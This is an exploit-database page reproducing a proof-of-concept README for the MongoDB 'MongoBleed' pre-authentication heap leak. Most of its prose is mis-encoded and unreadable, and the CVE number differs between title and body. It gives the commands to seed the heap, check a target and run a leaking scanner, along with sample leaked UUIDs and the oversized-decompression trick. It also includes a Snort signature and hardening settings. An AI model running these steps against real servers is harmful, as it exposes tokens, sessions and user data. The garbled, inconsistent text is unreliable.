Sploitus

Exploit for CVE-2025-14857-MongoBleed

kitploit ┬╖ 2026-08-25

Exploit Code

MARKDOWN311 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ERMENSONX-CVE-2025-14857-MONGOBLEED
# CVE-2025-14847 (MongoBleed) - рдХрд╛рд░реНрдпрд╛рддреНрдордХ PoC

## MongoDB рдореЗрдВ рдореЗрдореЛрд░реА рд▓реАрдХ рдХрд╛ рд╢реЛрд╖рдг - рдЕрдиреБрдХрд░рдгреАрдп R6 рд╣рдорд▓рд╛

![CVE](https://img.shields.io/badge/CVE-2025--14847-critical?style=for-the-badge&logo=mongodb&logoColor=white) ![MongoDB](https://img.shields.io/badge/MongoDB-7.0.5-red?style=for-the-badge&logo=mongodb) ![рд╕реНрдерд┐рддрд┐](https://img.shields.io/badge/Status-Exploit%20Funcional-success?style=for-the-badge) ![рд╕рдлрд▓рддрд╛ рджрд░](https://img.shields.io/badge/Taxa%20Sucesso-100%25-brightgreen?style=for-the-badge)

**CVE-2025-14847 (MongoBleed) рдХреЗ рд▓рд┐рдП рдкреВрд░реНрдг рдкреНрд░рдорд╛рдг-рдЕрд╡рдзрд╛рд░рдгрд╛**  
рдкрд░реАрдХреНрд╖рд┐рдд: тЬЕ MongoDB 7.0.5 | 14.300+ рд╕рдлрд▓ рд╢реЛрд╖рдг | 4 UUID рд▓реАрдХ 

* * *

## ЁЯОп рдкрд░рд┐рдпреЛрдЬрдирд╛ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ

рдпрд╣ рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА **CVE-2025-14847** рднреЗрджреНрдпрддрд╛ рдХреЗ рд▓рд┐рдП рдПрдХ **рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдХрд╛рд░реНрдпрд╛рддреНрдордХ рдкреНрд░рдорд╛рдг-рдЕрд╡рдзрд╛рд░рдгрд╛ (PoC)** рд░рдЦрддрд╛ рд╣реИ, рдЬрд┐рд╕реЗ **MongoBleed** рдХреЗ рдирд╛рдо рд╕реЗ рдЬрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ - MongoDB рдореЗрдВ рдкреНрд░рдорд╛рдгреАрдХрд░рдг-рдкреВрд░реНрд╡ рд╣реАрдк рдореЗрдореЛрд░реА рд░рд┐рд╕рд╛рд╡ рдХреА рдПрдХ рдЧрдВрднреАрд░ рдЦрд╛рдореАред

### рд╕рдВрджрд░реНрдн: рд░реЗрдирдмреЛ рд╕рд┐рдХреНрд╕ рд╕реАрдЬ рдШрдЯрдирд╛

**рджрд┐рд╕рдВрдмрд░ 2025** рдореЗрдВ, рд░реЗрдирдмреЛ рд╕рд┐рдХреНрд╕ рд╕реАрдЬ рдЧреЗрдо рдкрд░ рдПрдХ рдмрдбрд╝рд╛ рд╣рдорд▓рд╛ рд╣реБрдЖ рдЬрд┐рд╕рдореЗрдВ ~50.000 рдЦрд┐рд▓рд╛рдбрд╝реА рдЦрд╛рддреЛрдВ рд╕реЗ рд╕рдордЭреМрддрд╛ рд╣реБрдЖред рд╕рдВрджреЗрд╣ рд╣реИ рдХрд┐ рд╣рдорд▓рд╛рд╡рд░реЛрдВ рдиреЗ рдмреИрдХрдПрдВрдб MongoDB рдореЗрдВ рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдХрд╛ рд╢реЛрд╖рдг рдХрд┐рдпрд╛ рддрд╛рдХрд┐ рд▓реАрдХ рдХрд░ рд╕рдХреЗрдВ:

  * ЁЯФС рд╕рд░реНрд╡рд░ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдЯреЛрдХрди (`R6S_SERVER_AUTH_*`)
  * ЁЯСд рдЦрд┐рд▓рд╛рдбрд╝рд┐рдпреЛрдВ рдХреЗ UUID рдФрд░ рд╕рддреНрд░ IDs
  * ЁЯЫбя╕П рдкреНрд░рд╢рд╛рд╕рдирд┐рдХ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдлрд╝реНрд▓реИрдЧ (`TOURNAMENT_ADMIN`, `DEV_BUILD_WHITELIST`)



рдпрд╣ PoC R6 рдХреЗ рдпрдерд╛рд░реНрдерд╡рд╛рджреА рдбреЗрдЯрд╛ рдХреЗ рд╕рд╛рде рд╣рдорд▓реЗ рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░рддрд╛ рд╣реИред

* * *

## ЁЯФе рд╡рд┐рд╢реЗрд╖рддрд╛рдПрдБ

  * тЬЕ **MongoDB 7.0.5 рдХреЗ рд╡рд┐рд░реБрджреНрдз 100% рдХрд╛рд░реНрдпрд╛рддреНрдордХ рд╢реЛрд╖рдг**
  * тЬЕ **3 рд╢реЛрд╖рдг рдЙрдкрдХрд░рдг** : 
    * `poc.py` \- рдкреИрдЯрд░реНрди рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХреЗ рд╕рд╛рде рдореБрдЦреНрдп рд╢реЛрд╖рдг
    * `live_leaker.py` \- рдЙрдиреНрдирдд рд╡реГрджреНрдзрд┐рд╢реАрд▓ рд╕реНрдХреИрдирд┐рдВрдЧ
    * `popular_heap.py` \- рд▓рдХреНрд╖реНрдп рдбреЗрдЯрд╛ рд╕реЗ рд╣реАрдк рднрд░рдиреЗ рдХреА рд╕реНрдХреНрд░рд┐рдкреНрдЯ
  * тЬЕ **рднреЗрджреНрдп MongoDB рдХреЗ рд╕рд╛рде рдкреВрд░реНрдг Docker рд╡рд╛рддрд╛рд╡рд░рдг**
  * тЬЕ **R6 рдмреИрдХрдПрдВрдб рдХреЗ 1500+ рдЕрдиреБрдХрд░рдгреАрдп рджрд╕реНрддрд╛рд╡реЗрдЬрд╝**
  * тЬЕ **10 рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдкреИрдЯрд░реНрди рдХреА рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдкрд╣рдЪрд╛рди** (JWT, рдЯреЛрдХрди, UUID, IP)
  * тЬЕ **рд╕рдВрд░рдЪрд┐рдд JSON рд░рд┐рдкреЛрд░реНрдЯ**
  * тЬЕ **рдкреВрд░реНрдг рддрдХрдиреАрдХреА рджрд╕реНрддрд╛рд╡реЗрдЬрд╝реАрдХрд░рдг** (200+ рдкреГрд╖реНрда)



* * *

## ЁЯУК рдорд╛рдиреНрдп рдкрд░рд┐рдгрд╛рдо

### рдирд┐рдХрд╛рд▓реЗ рдЧрдП UUID (рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдкреНрд░рдорд╛рдг)

root@kitploit:~
    
    
    246434ed-759b-4ce9-bb9c-2f520a9919b8
    980ab3a7-0230-4718-aa2d-fb28feafd7f5
    1052a310-4cdc-492f-9890-465d76baba9b
    f20debfa-298d-48e3-b3b9-9a0e037c0fbd
    

* * *

## ЁЯЪА рддреНрд╡рд░рд┐рдд рдкреНрд░рд╛рд░рдВрдн

### рдЖрд╡рд╢реНрдпрдХ рд╢рд░реНрддреЗрдВ

  * Docker рдФрд░ Docker Compose
  * Python 3.8+



### рд╕реНрдерд╛рдкрдирд╛

root@kitploit:~
    
    
    # Clone o reposit├│rio
    git clone CVE-2025-14857-MongoBleed.git
    cd MongoDBPoc
    
    # Inicie o ambiente vulner├бvel
    docker-compose up -d
    
    # Aguarde inicializa├з├гo (15-20s)
    docker logs cve-2025-14847-lab | grep "R6 MASSIVE"
    

### рдореВрд▓ рдЙрдкрдпреЛрдЧ

root@kitploit:~
    
    
    # 1. Popular heap com dados R6
    python3 popular_heap.py 50
    
    # 2. Verificar vulnerabilidade
    python3 poc.py --target 127.0.0.1 --check
    
    # 3. Explorar com live leaker (RECOMENDADO)
    timeout 30 python3 live_leaker.py --host 127.0.0.1 --min 200 --max 3000 --save results.json
    

### рдЕрдкреЗрдХреНрд╖рд┐рдд рдЖрдЙрдЯрдкреБрдЯ

root@kitploit:~
    
    
    [!] MongoBleed Live Leaker Avan├зado
    [!] Alvo: 127.0.0.1:27017
    [!] Faixa: doc_len 200 тЖТ 3000 (offset=500)
    
    [*] Progresso: doc_len=245/3000 | Tentativas=100 | Taxa sucesso=100.0%
    
    [!] PADR├ХES R6 DETECTADOS (doc_len=245):
        [UUID] 1 novo(s):
          тФФтФА 246434ed-759b-4ce9-bb9c-2f520a9919b8
    

* * *

## ЁЯФм рдпрд╣ рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ

### рднреЗрджреНрдпрддрд╛ рддрдВрддреНрд░

MongoDB **zlib** рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рдВрджреЗрд╢ рд╕рдВрдкреАрдбрд╝рди рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рднреЗрджреНрдпрддрд╛ рдШреЛрд╖рд┐рдд рдЖрдХрд╛рд░ рдмрдирд╛рдо рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдЖрдХрд╛рд░ рдХреЗ рдЕрдкрд░реНрдпрд╛рдкреНрдд рд╕рддреНрдпрд╛рдкрди рдореЗрдВ рд╣реИ:

root@kitploit:~
    
    
    Atacante тЖТ {compress: "zlib", uncompressedSize: 1MB, payload: <50 bytes>}
              тЖУ
    Servidor aloca 1MB de heap  тЖР VULNERABILIDADE
              тЖУ
    Servidor descomprime apenas 50 bytes
              тЖУ
    Servidor retorna 1MB inteiro!
              тФФтФА 50 bytes = dados reais
              тФФтФА ~1MB - 50 = VAZAMENTO DE MEM├УRIA
    

### рднреЗрджреНрдп рдХреЛрдб (рд╕рд░рд▓реАрдХреГрдд)

root@kitploit:~
    
    
    // ANTES DO PATCH
    size_t uncompressedSize = header.uncompressedSize;  // тЖР Controlado pelo atacante
    buffer = malloc(uncompressedSize);                  // тЖР Aloca tamanho malicioso
    zlib_decompress(compressed, buffer);
    send(buffer, uncompressedSize);                     // тЖР VAZA BUFFER INTEIRO
    

* * *

## ЁЯУВ рдкрд░рд┐рдпреЛрдЬрдирд╛ рд╕рдВрд░рдЪрдирд╛

root@kitploit:~
    
    
    MongoDBPoc/
    тФЬтФАтФА poc.py                          # рдореБрдЦреНрдп рд╢реЛрд╖рдг
    тФЬтФАтФА live_leaker.py                  # рд╡реГрджреНрдзрд┐рд╢реАрд▓ рд╕реНрдХреИрдирд┐рдВрдЧ (тЬи рдЕрдиреБрд╢рдВрд╕рд┐рдд)
    тФЬтФАтФА popular_heap.py                 # рд▓реЛрдб рд╕реНрдХреНрд░рд┐рдкреНрдЯ
    тФЬтФАтФА docker-compose.yml              # рднреЗрджреНрдп MongoDB 7.0.5
    тФЬтФАтФА init-db.js                      # 1000 рдЦрд┐рд▓рд╛рдбрд╝реА + 500 рд╕рддреНрд░ R6
    тФЬтФАтФА GUIA_TECNICO_COMPLETO.md       # рд╡рд┐рд╕реНрддреГрдд рджрд╕реНрддрд╛рд╡реЗрдЬрд╝реАрдХрд░рдг (200+ рдкреГрд╖реНрда)
    тФЬтФАтФА README.MD                       # рдЕрдВрдЧреНрд░реЗрдЬрд╝реА рдореЗрдВ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝реАрдХрд░рдг
    тФФтФАтФА Portugues/                      # рдЕрдиреБрд╡рд╛рджрд┐рдд рд╕рдВрд╕реНрдХрд░рдг
        тФЬтФАтФА poc_PT.py
        тФЬтФАтФА README_PT.md
        тФФтФАтФА GUIA_RAPIDO.md
    

* * *

## ЁЯЫбя╕П рдкреНрд░рднрд╛рд╡рд┐рдд рд╕рдВрд╕реНрдХрд░рдг

* * *

## ЁЯЫбя╕П рдкрд╣рдЪрд╛рди рдФрд░ рдмрдЪрд╛рд╡

### Snort рд╣рд╕реНрддрд╛рдХреНрд╖рд░

root@kitploit:~
    
    
    alert tcp any any -> any 27017 (
        msg:"CVE-2025-14847 MongoBleed Attempt";
        content:"|d4 07 00 00|";
        byte_test:4,>,1000000,4,little;
        sid:2025001;
    )
    

### рд╕реБрд░рдХреНрд╖рд┐рдд рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди (mongod.conf)

root@kitploit:~
    
    
    net:
      bindIp: 127.0.0.1              # NUNCA 0.0.0.0!
      compression:
        compressors: []              # Desabilitar zlib
    
    security:
      authorization: enabled
    

### рд╢рдорди рдкреНрд░рд╛рдердорд┐рдХрддрд╛рдПрдБ

  1. ЁЯФ┤ **рдЧрдВрднреАрд░** : рд╕реБрдзрд╛рд░рд┐рдд рд╕рдВрд╕реНрдХрд░рдг рдореЗрдВ рдЕрджреНрдпрддрди рдХрд░реЗрдВ
  2. ЁЯЯа **рдЙрдЪреНрдЪ** : zlib рд╕рдВрдкреАрдбрд╝рди рдЕрдХреНрд╖рдо рдХрд░реЗрдВ
  3. ЁЯЯа **рдЙрдЪреНрдЪ** : рдиреЗрдЯрд╡рд░реНрдХ рд╡рд┐рднрд╛рдЬрди (рдлрд╝рд╛рдпрд░рд╡реЙрд▓)
  4. ЁЯЯб **рдордзреНрдпрдо** : рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд╕рдХреНрд╖рдо рдХрд░реЗрдВ



* * *

## ЁЯУЪ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝реАрдХрд░рдг

  * **GUIA_TECNICO_COMPLETO.md** \- рдкреВрд░реНрдг рддрдХрдиреАрдХреА рд╡рд┐рд╢реНрд▓реЗрд╖рдг (200+ рдкреГрд╖реНрда) 
    * R6 рдШрдЯрдирд╛ рдХрд╛ рд╕рдВрджрд░реНрдн
    * рднреЗрджреНрдпрддрд╛ рддрдВрддреНрд░
    * рднреЗрджреНрдп рдмрдирд╛рдо рд╕реБрдзрд╛рд░рд┐рдд рдХреЛрдб
    * рдЪрд░рдг-рджрд░-рдЪрд░рдг рдирд┐рд╖реНрдкрд╛рджрди
    * рдкрд░рд┐рдгрд╛рдо рдФрд░ рдЖрдБрдХрдбрд╝реЗ
    * IDS рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рдФрд░ рд╣рд╛рд░реНрдбрдирд┐рдВрдЧ
  * **README.MD** \- рдореБрдЦреНрдп рджрд╕реНрддрд╛рд╡реЗрдЬрд╝реАрдХрд░рдг (рдЕрдВрдЧреНрд░реЗрдЬрд╝реА)
  * **Portugues/** \- рдЕрдиреБрд╡рд╛рджрд┐рдд рд╕рдВрд╕реНрдХрд░рдг



* * *

## тЪая╕П рдХрд╛рдиреВрдиреА рдЪреЗрддрд╛рд╡рдиреА

> рдпрд╣ рдЙрдкрдХрд░рдг рдХреЗрд╡рд▓ рдЕрдзрд┐рдХреГрдд рдкрд░реАрдХреНрд╖рдг рдФрд░ рд╢рд┐рдХреНрд╖рд╛ рдХреЗ рд▓рд┐рдП рд╣реИред
> 
> рдЕрдирдзрд┐рдХреГрдд рдЙрдкрдпреЛрдЧ рдЕрд╡реИрдз рд╣реИ рдФрд░ рдЗрд╕рдХреЗ рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк рд╣реЛ рд╕рдХрддрд╛ рд╣реИ:
> 
>   * рдЖрдкрд░рд╛рдзрд┐рдХ рдореБрдХрджрдорд╛ (рдмреНрд░рд╛рдЬрд╝реАрд▓ рдореЗрдВ рдХрд╛рдиреВрди 12.737/2012 рдХреЗ рддрд╣рдд)
>   * рднрд╛рд░реА рдЬреБрд░реНрдорд╛рдирд╛
>   * рдХрд╛рд░рд╛рд╡рд╛рд╕
> 

> 
> рдкрд░реАрдХреНрд╖рдг рд╕реЗ рдкрд╣рд▓реЗ рд╣рдореЗрд╢рд╛ рд▓рд┐рдЦрд┐рдд рдЕрдиреБрдорддрд┐ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВред

### рдЕрдиреБрдордд рдЙрдкрдпреЛрдЧ

  * тЬЕ рд▓рд┐рдЦрд┐рдд рдЕрдиреБрдорддрд┐ рдХреЗ рд╕рд╛рде рдкреНрд░рд╡реЗрд╢ рдкрд░реАрдХреНрд╖рдг
  * тЬЕ рдкреГрдердХ рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рдЕрдХрд╛рджрдорд┐рдХ рдЕрдиреБрд╕рдВрдзрд╛рди
  * тЬЕ рд╡рд┐рдХреНрд░реЗрддрд╛ рдкреИрдЪ рдХрд╛ рд╕рддреНрдпрд╛рдкрди
  * тЬЕ рд╕реБрд░рдХреНрд╖рд╛ рдЯреАрдореЛрдВ рдХрд╛ рдкреНрд░рд╢рд┐рдХреНрд╖рдг



### рдирд┐рд╖рд┐рджреНрдз рдЙрдкрдпреЛрдЧ

  * тЭМ рдмрд┐рдирд╛ рдЕрдиреБрдорддрд┐ рд╕рд┐рд╕реНрдЯрдо рдХреА рд╕реНрдХреИрдирд┐рдВрдЧ рдпрд╛ рд╣рдорд▓рд╛
  * тЭМ рдЙрддреНрдкрд╛рджрди рдбреЗрдЯрд╛рдмреЗрд╕ рддрдХ рдкрд╣реБрдБрдЪ
  * тЭМ рдЗрд╕ рдХреЛрдб рдХреА рдмрд┐рдХреНрд░реА рдпрд╛ рд╣рдерд┐рдпрд╛рд░реАрдХрд░рдг



* * *

## ЁЯЩП рд╢реНрд░реЗрдп

**рд▓реЗрдЦрдХ** : Ermenson Jr  
**рд▓рд╛рдЗрд╕реЗрдВрд╕** : MIT (рд╢реИрдХреНрд╖рд┐рдХ рдЙрдкрдпреЛрдЧ)  
**рджрд┐рдирд╛рдВрдХ** : рдЬрдирд╡рд░реА 2026

### рд╕рдВрджрд░реНрдн

  * MongoDB Security Advisory
  * CVE-2025-14847 NVD
  * Akamai SIRT: MongoBleed Analysis
  * Aikido Security



* * *

## ЁЯУз рд╕рдВрдкрд░реНрдХ

рддрдХрдиреАрдХреА рдкреНрд░рд╢реНрдиреЛрдВ рдпрд╛ рд╕реБрд░рдХреНрд╖рд╛ рдЕрдиреБрд╕рдВрдзрд╛рди рдореЗрдВ рд╕рд╣рдпреЛрдЧ рдХреЗ рд▓рд┐рдП:

  * **GitHub Issues** : рдЗрд╕ рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА рдХреЗ Issues рдЯреИрдм рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ
  * **рд╢реИрдХреНрд╖рд┐рдХ рдИрдореЗрд▓** : GitHub рдкреНрд░реЛрдлрд╝рд╛рдЗрд▓ рдкрд░ рдЙрдкрд▓рдмреНрдз



* * *

## ЁЯМЯ рдпрджрд┐ рдпрд╣ рдкрд░рд┐рдпреЛрдЬрдирд╛ рдЙрдкрдпреЛрдЧреА рдереА

  * тнР рдЗрд╕ рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА рдХреЛ рдПрдХ рд╕реНрдЯрд╛рд░ рджреЗрдВ
  * ЁЯФД рд╕реБрд░рдХреНрд╖рд╛ рд╕рдореБрджрд╛рдп рдХреЗ рд╕рд╛рде рд╕рд╛рдЭрд╛ рдХрд░реЗрдВ
  * ЁЯУЭ рдЕрдкрдиреЗ рдЕрдХрд╛рджрдорд┐рдХ рд╢реЛрдз рдореЗрдВ рдЙрджреНрдзреГрдд рдХрд░реЗрдВ
  * ЁЯРЫ Issues рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдмрдЧ рдпрд╛ рд╕реБрдзрд╛рд░ рд░рд┐рдкреЛрд░реНрдЯ рдХрд░реЗрдВ



* * *

рдЬрд┐рдореНрдореЗрджрд╛рд░ рдЖрдХреНрд░рд╛рдордХ рд╕реБрд░рдХреНрд╖рд╛ рдЕрдиреБрд╕рдВрдзрд╛рди рдХреЗ рд▓рд┐рдП рд╡рд┐рдХрд╕рд┐рддред  
Ubisoft, MongoDB Inc., рдпрд╛ Rainbow Six Siege рд╕реЗ рд╕рдВрдмрджреНрдз рдирд╣реАрдВред

**ЁЯФТ рдЬрд┐рдореНрдореЗрджрд╛рд░реА рд╕реЗ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред рд╕реБрд░рдХреНрд╖рд╛ рд╕рднреА рдХреЗ рд▓рд┐рдП рд╣реИред ЁЯФТ**